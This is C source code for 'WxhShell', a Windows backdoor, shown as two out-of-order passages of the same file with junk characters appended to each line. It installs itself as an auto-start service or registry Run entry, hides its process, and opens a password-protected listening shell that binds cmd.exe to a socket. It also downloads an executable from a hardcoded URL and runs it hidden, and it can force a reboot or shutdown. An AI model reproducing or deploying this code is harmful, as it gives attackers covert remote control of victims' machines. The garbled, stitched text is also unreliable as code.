    } (k HQKQmq  
    break; YI(OrR;V  
    } C?<XtIoB  
  // 关机 `?S?)0B  
  case 'd': { 4>tYMyLt0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )^' B:ic  
    if(Boot(SHUTDOWN)) moM&2rgdrQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/w-gL{  
    else { b+#~N>|  
    closesocket(wsh); @^4M~F%  
    ExitThread(0); k~EPVJh"  
    } M&\?)yG  
    break; 8J(zWV7 r  
    } #di_V"  
  // 获取shell aZ:?(u]  
  case 's': { 2 n+XML  
    CmdShell(wsh); (/P&;?j  
    closesocket(wsh); ke6cZV5w  
    ExitThread(0); hy`)]>9z~  
    break; oX]1>#5UMg  
  } |"E9DD]{  
  // 退出 YGO7lar  
  case 'x': { r#w_=h)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )aA9z(x  
    CloseIt(wsh); !5 :[XvI#  
    break; EF^=3  
    } #3[b|cL  
  // 离开 o)D+qiA3U  
  case 'q': { dGW7,B~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u4^"E+y^S  
    closesocket(wsh); CH+&  
    WSACleanup(); "9T`3cM0  
    exit(1); U4I` xw'  
    break; Oqe.t;E 0}  
        } =Bqa <Js  
  } ~acK$.#  
  } B91PlM.  
G+^$JN=  
  // 提示信息 |Ie`L("  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eu|q {p  
} e ;u8G/  
  } 4W-+k  
->9xw  
  return; "@? kxRn!  
} Nn7@+g)  
8t \>  
// shell模块句柄 A|OC?NZY  
int CmdShell(SOCKET sock) b1^Yxe#L  
{ ^ nZ2p$  
STARTUPINFO si; ~TR|Pv  
ZeroMemory(&si,sizeof(si)); zi[M{bm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M{RZ-)IC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ? Z fhz   
PROCESS_INFORMATION ProcessInfo; q;~>h  
char cmdline[]="cmd"; +( (31l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yf`.Cq_:  
  return 0; s3!LR2qiF  
} ;<R_j%*  
~"0X,APR5  
// 自身启动模式 _%%"Y}  
int StartFromService(void) (>`SS#(T!  
{ x`l; ;  
typedef struct w:+#,,rwzV  
{ Bzt`9lg  
  DWORD ExitStatus; E }j8p_p  
  DWORD PebBaseAddress; zFQkUgb  
  DWORD AffinityMask; fzG1<Gem  
  DWORD BasePriority; ]H7Mx\  
  ULONG UniqueProcessId; /\I%)B47^9  
  ULONG InheritedFromUniqueProcessId; l#.,wOO{  
}   PROCESS_BASIC_INFORMATION; RteTz_ z{  
r@UY$z  
PROCNTQSIP NtQueryInformationProcess;  M.^A`   
`bF;Ew;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =_6h{f&Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tX}S[jdq  
2/N*Uk 0  
  HANDLE             hProcess; F;@&uXYgc  
  PROCESS_BASIC_INFORMATION pbi; l;kZS  
g}KZL-p4\m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *uM*)6O 3  
  if(NULL == hInst ) return 0; b u9&sQ;  
s4k%ty}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fG5}'8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o^6j(~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X6 :~Rjim*  
#;]F:TlR  
  if (!NtQueryInformationProcess) return 0; 0 d]G  
HN@)/5BY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a/#,Y<kJ  
  if(!hProcess) return 0; UH|.@7w  
BQg]$Tr?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gP%!  
DK%eFCo<~  
  CloseHandle(hProcess); aC 0Jfo  
X6 cb#s0|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b<7 qmg3  
if(hProcess==NULL) return 0; 3<V!y&a  
#_\~Vrf(#  
HMODULE hMod; nQmYeM  
char procName[255]; 83*k.]S`  
unsigned long cbNeeded; ^uzVz1%mM  
1`\kXaG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mp=+*I[  
3s`3}DKK  
  CloseHandle(hProcess); /=}vP ey  
^4NH.q{  
if(strstr(procName,"services")) return 1; // 以服务启动 qNL~m'  
pjM|}i<'Q  
  return 0; // 注册表启动 5C?1`-&65V  
} :h~!#;w_  
<2d@\"AoHE  
// 主模块 Ij_`=w<  
int StartWxhshell(LPSTR lpCmdLine) h_!"CF <n  
{ gv-k}2u_  
  SOCKET wsl; s'4p+eJ  
BOOL val=TRUE; KIJ[ cIw  
  int port=0; Hm*#HT%#  
  struct sockaddr_in door; (B#|3o  
 cf!R  
  if(wscfg.ws_autoins) Install(); c Zr4  
--sb ;QG  
port=atoi(lpCmdLine); %L.+r!.  
SiT &p  
if(port<=0) port=wscfg.ws_port; Pc1N~?}.  
YfKty0  
  WSADATA data; V|7CYkB8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4/|=0TC;  
hBu =40K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t57b)5{FM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lh5d6VUA  
  door.sin_family = AF_INET; s'I$yJ)@2E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4[q * 7m  
  door.sin_port = htons(port); JK`P mp>  
5yID%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {{,%p#/b  
closesocket(wsl); )' #(1 ,1k  
return 1; A?zW!'  
} CG;D(AWR;  
FoQk  
  if(listen(wsl,2) == INVALID_SOCKET) { lR!$+atW  
closesocket(wsl); jU$PO\UTk  
return 1; a=dN.OB}F7  
} y"ck;OQD  
  Wxhshell(wsl); p3'+"sFU  
  WSACleanup(); &EOh}O<  
u'p J 9>sC  
return 0;  .@Cshj  
b.;W|$.  
} 6wgOmyJx  
Y)`+u#` R  
// 以NT服务方式启动 f14c} YY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }^q#0`e(y  
{ $Vzfhj-if  
DWORD   status = 0; (tvh9 o  
  DWORD   specificError = 0xfffffff; nabN.Ly  
L?fv5 S3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !w Bmf&=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .$iIr:Tc>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Eqc$*=  
  serviceStatus.dwWin32ExitCode     = 0; 4Q5v8k=  
  serviceStatus.dwServiceSpecificExitCode = 0; G w[&P%  
  serviceStatus.dwCheckPoint       = 0; U9w*x/S wb  
  serviceStatus.dwWaitHint       = 0; Cn<x  
?x97 q3I+]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K~]jXo^M  
  if (hServiceStatusHandle==0) return; jo~Pr  
k s}o9[D3  
status = GetLastError(); 51vK>  
  if (status!=NO_ERROR) 5hAg*zJb5o  
{ PR+!CFi&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )-@EUN0E>5  
    serviceStatus.dwCheckPoint       = 0; *)<tyIHd  
    serviceStatus.dwWaitHint       = 0; 5z _)  
    serviceStatus.dwWin32ExitCode     = status; +,lD_{}_  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ou^dI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U VT8TN-T  
    return; ! bp"pa9  
  } ~CA+'e%~~  
$H^6I8>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]Gr'Bt/  
  serviceStatus.dwCheckPoint       = 0; 5kF5`5+Vj  
  serviceStatus.dwWaitHint       = 0; _*9Zp1r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !NCT) #G`  
} 1;W>ceN"  
l- l}xBf  
// 处理NT服务事件,比如:启动、停止 B.?yHaMI[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iJi|*P5dw  
{ m_B5M0},  
switch(fdwControl) vF,l?cU~  
{ ( nh!tC  
case SERVICE_CONTROL_STOP: A SSoKrFL  
  serviceStatus.dwWin32ExitCode = 0; C N"c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G\Me%{b#  
  serviceStatus.dwCheckPoint   = 0; S%@$J~\rx  
  serviceStatus.dwWaitHint     = 0; IQDWH/ c  
  { |Xag:hof  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pqe**`z@y  
  } TO.NCO\x  
  return; vXF\PMf  
case SERVICE_CONTROL_PAUSE: &a`-NRU#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; II91Ia  
  break; OH~t\fQ1Zf  
case SERVICE_CONTROL_CONTINUE: AOe~VW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sCUPa-cHF  
  break; gJ])A7O  
case SERVICE_CONTROL_INTERROGATE: +K?h]v]%  
  break; ')BQ 0sg  
}; so7;h$h!H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ld $`5!Z  
} W.a/k7 p  
L6a8%%`  
// 标准应用程序主函数 Q%7EC>V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4M _83WL  
{ $3L7R  
n'ro5D  
// 获取操作系统版本 DB0xIP~i,?  
OsIsNt=GetOsVer(); Z|W=.RdA;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z,9qAts?mh  
&[YG\8sxWa  
  // 从命令行安装 gvC2\k{  
  if(strpbrk(lpCmdLine,"iI")) Install(); -4Xr5j%o  
 lcr=^  
  // 下载执行文件 )oj`K,#  
if(wscfg.ws_downexe) { <n>< A+D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =8iM,Vl3  
  WinExec(wscfg.ws_filenam,SW_HIDE); !rWib` %  
} 6"DvdJ0MB  
0^m02\Li  
if(!OsIsNt) { `9ieTt  
// 如果时win9x,隐藏进程并且设置为注册表启动 p})&Zl)V  
HideProc(); 9qpH 8j+  
StartWxhshell(lpCmdLine); m[}$&i$(  
} NB^.$ 3 9n  
else J=$v+8&.  
  if(StartFromService()) sJr$[?  
  // 以服务方式启动 C>+UZ  
  StartServiceCtrlDispatcher(DispatchTable); iJYr?3nw;  
else F JzjS;  
  // 普通方式启动 -l\@50, D  
  StartWxhshell(lpCmdLine); zm e:U![  
0h7\zoZ5  
return 0; 1)r1/0  
} ,y0kzwPR1  
;#;X@BhS  
gQ?k}D  
+o/q@&v;Ax  
=========================================== $d"6y  
6+It>mnR  
~DJ/sY2/  
;'h7 j*6  
r=9*2X#  
)S%mKdOm $  
" t`LH\]6@  
xWDwg@ P  
#include <stdio.h> ?*T`a oB  
#include <string.h> +z4NxR   
#include <windows.h> EU+sTe>  
#include <winsock2.h> v}!,4,]:&  
#include <winsvc.h> VHJr+BQ1K/  
#include <urlmon.h> }LM_VZj  
A$5T3j'  
#pragma comment (lib, "Ws2_32.lib") qb! vI3  
#pragma comment (lib, "urlmon.lib") MB#%k#z`B  
53L)+\7w  
#define MAX_USER   100 // 最大客户端连接数 +|}~6`  
#define BUF_SOCK   200 // sock buffer &pCKz[Yf+  
#define KEY_BUFF   255 // 输入 buffer ^WeT3b q  
dWp4|r  
#define REBOOT     0   // 重启 9Dpmp|  
#define SHUTDOWN   1   // 关机 aA:Ky&5e  
lyib+Sa ?`  
#define DEF_PORT   5000 // 监听端口 ss[8d%V  
%PG0PH4?  
#define REG_LEN     16   // 注册表键长度 9A6ly9DIS  
#define SVC_LEN     80   // NT服务名长度 83 S],L  
iw#luHcJ  
// 从dll定义API 7 724,+2N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |BXq8Erh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0{j>u`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZQyT$l~b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R ~cc]kp0  
3*FktXmI}  
// wxhshell配置信息 1D*e u  
struct WSCFG { tp1{)|pwY6  
  int ws_port;         // 监听端口 P$!Ht  
  char ws_passstr[REG_LEN]; // 口令 Tv(s?T6f  
  int ws_autoins;       // 安装标记, 1=yes 0=no  W6a2I  
  char ws_regname[REG_LEN]; // 注册表键名 >Mn"k\j4  
  char ws_svcname[REG_LEN]; // 服务名 b~\![HoCMM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A1:Fe9q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p0@iGyd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rf9RG!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wo*/{KFvh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @50Js3R1q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v.\&gn(  
]$z~;\T  
}; o&>0 pc  
KR{kn[2|Q  
// default Wxhshell configuration ] $%{nj<  
struct WSCFG wscfg={DEF_PORT, ? 56Zw"89  
    "xuhuanlingzhe", \O^= Z{3y  
    1, bT8BJY%+  
    "Wxhshell", HkQ2G}<  
    "Wxhshell", p}j{ <y  
            "WxhShell Service", I&^?,Fyy<  
    "Wrsky Windows CmdShell Service", 5B(|!Xq;I  
    "Please Input Your Password: ", NoPM!.RU{  
  1, Y(&phv&  
  "http://www.wrsky.com/wxhshell.exe", p>MX}^6  
  "Wxhshell.exe" !D  
    }; 'dx4L }d  
H\O|Y@uVr  
// 消息定义模块 ok7DI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V-jo2+Y5=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p HWol!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uqkh@-6-  
char *msg_ws_ext="\n\rExit."; BG'gk#J+f  
char *msg_ws_end="\n\rQuit."; %``FIv15w  
char *msg_ws_boot="\n\rReboot..."; `E}2|9  
char *msg_ws_poff="\n\rShutdown..."; ']qC,;2  
char *msg_ws_down="\n\rSave to "; 2)U3/TNe  
jL 2f74?1  
char *msg_ws_err="\n\rErr!"; 5uu{f&?u)  
char *msg_ws_ok="\n\rOK!"; +8~S28"Wg3  
cW MZw|t  
char ExeFile[MAX_PATH]; )>=`[$D1t  
int nUser = 0; hwexv 9""  
HANDLE handles[MAX_USER]; #!<x|N?_<  
int OsIsNt; u'=#~'6  
SK-|O9Ki  
SERVICE_STATUS       serviceStatus; q6osRK*20  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t[#`%$% '  
PZ"xW0"-  
// 函数声明 %.Mtn%:I *  
int Install(void); 0ai4%=d-  
int Uninstall(void); &jj\-;=~Ho  
int DownloadFile(char *sURL, SOCKET wsh); S;CT:kG6Y{  
int Boot(int flag); ,,@_r&f:  
void HideProc(void); +|o -lb  
int GetOsVer(void); of(Nq@  
int Wxhshell(SOCKET wsl); [TNYPA> {  
void TalkWithClient(void *cs); [t ^|l?  
int CmdShell(SOCKET sock); `5>IvrzXrK  
int StartFromService(void); XbHcd8N T  
int StartWxhshell(LPSTR lpCmdLine); Bw{W-&$o  
E6n;_{Se/S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EkJo.'0@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V,2O `D%  
}}ogdq  
// 数据结构和表定义 *aTM3k)Zs  
SERVICE_TABLE_ENTRY DispatchTable[] = >+8mq]8^  
{ Q>X ;7nt0  
{wscfg.ws_svcname, NTServiceMain}, _msDf2e9  
{NULL, NULL} I2zSoQ1P  
}; :CH'Bt4<  
{Q4=GrS  
// 自我安装 J,IOp-  
int Install(void) ^up*KQ3u\  
{ =lVfrna  
  char svExeFile[MAX_PATH]; FxD"z3D  
  HKEY key; z.{y VQE  
  strcpy(svExeFile,ExeFile); b5yb~;0  
);=JoRQ{  
// 如果是win9x系统,修改注册表设为自启动 }p&aI?-B  
if(!OsIsNt) { %S@XY3jZY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9WBDSx_(Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |z5olu$gVc  
  RegCloseKey(key); VM-J^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M`"2;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W>+<r9Rt4  
  RegCloseKey(key); c5U1N&k5&  
  return 0; R4{}ZT  
    } 1a%*X UT  
  } I\4 I,ds  
} ` 3<#DZ;!  
else { &9^c-;Vs  
A~h8 >zz*  
// 如果是NT以上系统,安装为系统服务  f0:)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZtIK"o-|!  
if (schSCManager!=0) L@v0C)  
{ {x-g?HB  
  SC_HANDLE schService = CreateService j^LnHVHk1  
  ( {qj>  
  schSCManager, 4CNK ]2  
  wscfg.ws_svcname, .p0;y3so4  
  wscfg.ws_svcdisp, Ws(BouJ  
  SERVICE_ALL_ACCESS, iPE-j#|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  {!x-kF_  
  SERVICE_AUTO_START, v^KJU +  
  SERVICE_ERROR_NORMAL, kV-a'"W5  
  svExeFile, R$PiF1ffj  
  NULL, bv|v9_i  
  NULL, CVu'uyy  
  NULL, @ '<lD*W  
  NULL, =. OW sFv  
  NULL ~PS%^zxyn  
  ); Oi7:J> [  
  if (schService!=0) M8 ++JI  
  { F2+lwycY  
  CloseServiceHandle(schService); {'{ssCL  
  CloseServiceHandle(schSCManager); g%^Zq"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h~<#1'/<  
  strcat(svExeFile,wscfg.ws_svcname); .llAiv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~lQ]PKJ"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]\Ez{MdAT  
  RegCloseKey(key); mz/KGZ5t  
  return 0; |n]^gTJt  
    } k%c ?$n"  
  } z#O{rwnl  
  CloseServiceHandle(schSCManager); ;9b?[G  
} =(zk-J<nY  
} `(16_a  
G.c s-f  
return 1; 3DgI.V6un  
} N[=nh)m7b  
~|?2<g$gYR  
// 自我卸载 k%uRG_  
int Uninstall(void) g,x$z~zU{  
{ w6Ue5Ix,!  
  HKEY key; -Xx,"[sN\w  
o'R_kadN[T  
if(!OsIsNt) { K@ W~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RU[{!E  
  RegDeleteValue(key,wscfg.ws_regname); I7]45pF  
  RegCloseKey(key); mVk:[ }l6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JCE364$$"  
  RegDeleteValue(key,wscfg.ws_regname); ,{YC|uB  
  RegCloseKey(key); k98--kc5  
  return 0; +]UPY5:F  
  } A.y"R)G  
} 7!Fu.Ps >  
} v82@']IN  
else { OhIUm4=|$  
}p."7(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {dCkiF  
if (schSCManager!=0) ISOPKZ#F  
{ %K?~$;Z.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cjH ~H8  
  if (schService!=0) 9KCnitU  
  { <w08p*?  
  if(DeleteService(schService)!=0) { At.WBa3j%{  
  CloseServiceHandle(schService); CYG'WFvZZ  
  CloseServiceHandle(schSCManager); >e8 t  
  return 0; @bS>XWI>  
  } ~H?RHYP~  
  CloseServiceHandle(schService); Cc9<ABv?  
  } R%SsHu">  
  CloseServiceHandle(schSCManager); awMm&8cIM  
} Z=n& fsE  
} Bxz{rR0XV  
-08Ys c  
return 1; h&[!CtPm  
} ]uj H7T  
4AUY8Pxp  
// 从指定url下载文件 FL0[V,  
int DownloadFile(char *sURL, SOCKET wsh) *}3~8fu{  
{ @4hxGk=  
  HRESULT hr; 7;c{lQOj}  
char seps[]= "/"; &\K,kS[.r  
char *token; 'X{7b <  
char *file; %p^C,B{7w  
char myURL[MAX_PATH]; trM8 p  
char myFILE[MAX_PATH]; u{exQ[,E  
nL@P {,J  
strcpy(myURL,sURL); hg=\L5R  
  token=strtok(myURL,seps); _d)w, ;m#  
  while(token!=NULL) x4Eq5"F7}  
  { 0jE,=<W0>  
    file=token; pcm|  
  token=strtok(NULL,seps); !0E$9Xon  
  } 4Uz6*IQNl  
Zb8i[1P  
GetCurrentDirectory(MAX_PATH,myFILE); 0+M1,?+GfF  
strcat(myFILE, "\\"); EGU? 54  
strcat(myFILE, file); V?5QpBK I  
  send(wsh,myFILE,strlen(myFILE),0); ?=f\oH$  
send(wsh,"...",3,0); &)<]AG.vd!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G;wv.|\  
  if(hr==S_OK) vg *+>lbA  
return 0; et/mfzV  
else 2{#*z%|z  
return 1; m6aoh^I  
-mcLT@  
} C[<&% =  
:cIE8<\%  
// 系统电源模块 ,_P(!7Z8  
int Boot(int flag) ml\7JW6Rx  
{ Je+L8TB  
  HANDLE hToken; !|,=rM9x  
  TOKEN_PRIVILEGES tkp; o %Pi;8  
>8 VfijK  
  if(OsIsNt) { \ssuO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Cbht\Ag"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V|<qO-#.  
    tkp.PrivilegeCount = 1; ';zLh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?Q:se  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /vSFQ}W  
if(flag==REBOOT) { vqv(KsD+::  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >PL/>   
  return 0; `hI1  
} st'Y j  
else { g`3g#h$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p;X[_h  
  return 0; <N+l"Re#]  
} ~"+[VE5  
  } c-z=(Z  
  else { @DY0Lz;  
if(flag==REBOOT) { v>7tJ[s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {tF=c0Z  
  return 0; e7pN9tXGf  
} B_c(3n-"  
else { g 9>p?XY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x8tRa0-q  
  return 0; )<IbQH|_  
} =:o)+NE  
} uh`~K6&*\w  
T JLz^%t  
return 1; XlDVJx<&J  
} V>4 !fD=  
]wdudvS@6r  
// win9x进程隐藏模块 C'*1w  
void HideProc(void) SS(jjpe&,  
{ 7A3e-51 >  
(:M6*RV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ 1ys2BX  
  if ( hKernel != NULL ) F#Z]Xq0r  
  { q2&&n6PYW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~'v^__8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r(J7&vR}h  
    FreeLibrary(hKernel); ' G) Wy|*  
  } \#G`$JD  
L$lo5  
return; zVkHDT[  
} C Hyb{:<  
bZ )3{  
// 获取操作系统版本 )u3<lpoTy  
int GetOsVer(void) ww+XE2,  
{ Lu1>A {et  
  OSVERSIONINFO winfo; _S@s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >(:KEA  
  GetVersionEx(&winfo); nb(#;3DQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9bqfZ"6nXY  
  return 1; Zff-Hl  
  else 4>$>XL1  
  return 0; oV,>u5:B  
} g7_a8_  
6;[iX`LL  
// 客户端句柄模块 q+|Dm<Ug  
int Wxhshell(SOCKET wsl) [<8<+lH=P  
{ )wSsxX7:  
  SOCKET wsh; w4RP*Da?:  
  struct sockaddr_in client;  QqtFNG  
  DWORD myID; Vk{0)W7  
%0fj~s;  
  while(nUser<MAX_USER) dKZffDTZ  
{ f^m8 4o'  
  int nSize=sizeof(client); VUagZ 7p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sN^R Z0!>  
  if(wsh==INVALID_SOCKET) return 1; 4Q_2GiF_ ?  
A-c3B+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X B65,l  
if(handles[nUser]==0) }SUe 4r&4}  
  closesocket(wsh); jpOi Eo  
else > *vI:MG8  
  nUser++; j31 Sc3vG  
  } yd`.Rb&V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f0MHh5  
-`f JhQ|  
  return 0; l.>QO ;  
} \HTXl]  
"1h|1'S50?  
// 关闭 socket |]\qI  
void CloseIt(SOCKET wsh) vTP'\^;  
{ /$+ifiFT  
closesocket(wsh); 4+ yd/^S  
nUser--; #UI@<0P)  
ExitThread(0); 0^:O:X  
} &ATjDbW*(  
}g>&l.2X  
// 客户端请求句柄 ]>*Z 1g;  
void TalkWithClient(void *cs) 4`!(M]u=  
{ vF1] L]z:?  
!mq+Oz~  
  SOCKET wsh=(SOCKET)cs;  Ur]5AJ  
  char pwd[SVC_LEN]; 9K FWa0G  
  char cmd[KEY_BUFF]; L!-T`R8'c  
char chr[1]; k\zNh<^  
int i,j; >E[cl\5$E  
6M259*ME  
  while (nUser < MAX_USER) { %hcY [F<  
v3.JG]zLpP  
if(wscfg.ws_passstr) { eUx|_*`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y~fds#y0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S(9fGh  
  //ZeroMemory(pwd,KEY_BUFF); =;^2#UxXA&  
      i=0; ]7c715@  
  while(i<SVC_LEN) { IuB0C!'  
? 0nbvV5v7  
  // 设置超时 (Cqhk:F  
  fd_set FdRead; )[G5qTO  
  struct timeval TimeOut; H.!M_aJH  
  FD_ZERO(&FdRead); Sf lHSMFw  
  FD_SET(wsh,&FdRead); b_cD >A  
  TimeOut.tv_sec=8; 0u -'{6  
  TimeOut.tv_usec=0; Jr 9\j3J{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6S<J'9sE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;]vE"Mx$  
5BTQJa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VY Va8[}  
  pwd=chr[0]; zcP_-q]1  
  if(chr[0]==0xd || chr[0]==0xa) { g^4'42UX  
  pwd=0; =#n|t[h-  
  break; A2* z  
  } VT;$:>! +  
  i++; 0alm/or  
    } p>65(&N,  
>k kuw?O@  
  // 如果是非法用户,关闭 socket RzFv``g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~qco -b  
} DoNbCVZ  
d,+d8X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^5j9WV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m~#98ZJ^  
NR^z!+oSR  
while(1) { T+N%KRl  
Z?CmD ;W  
  ZeroMemory(cmd,KEY_BUFF); w*\)]bTs  
?IGT!'  
      // 自动支持客户端 telnet标准   y`7BR?l  
  j=0; 4~DFtWbf  
  while(j<KEY_BUFF) { yH@W6'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I>b!4?h  
  cmd[j]=chr[0]; ON] z-  
  if(chr[0]==0xa || chr[0]==0xd) { #R'm|En'  
  cmd[j]=0; X0Xs"--}  
  break; G\|VTqu  
  } gtVI>D'(W  
  j++; 2c_#q1/Z/  
    } vX/~34o]\  
?psvhB{O  
  // 下载文件 UR:cBr  
  if(strstr(cmd,"http://")) { SWPr5h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kImS'i{A  
  if(DownloadFile(cmd,wsh)) '-S^z"ZrI  
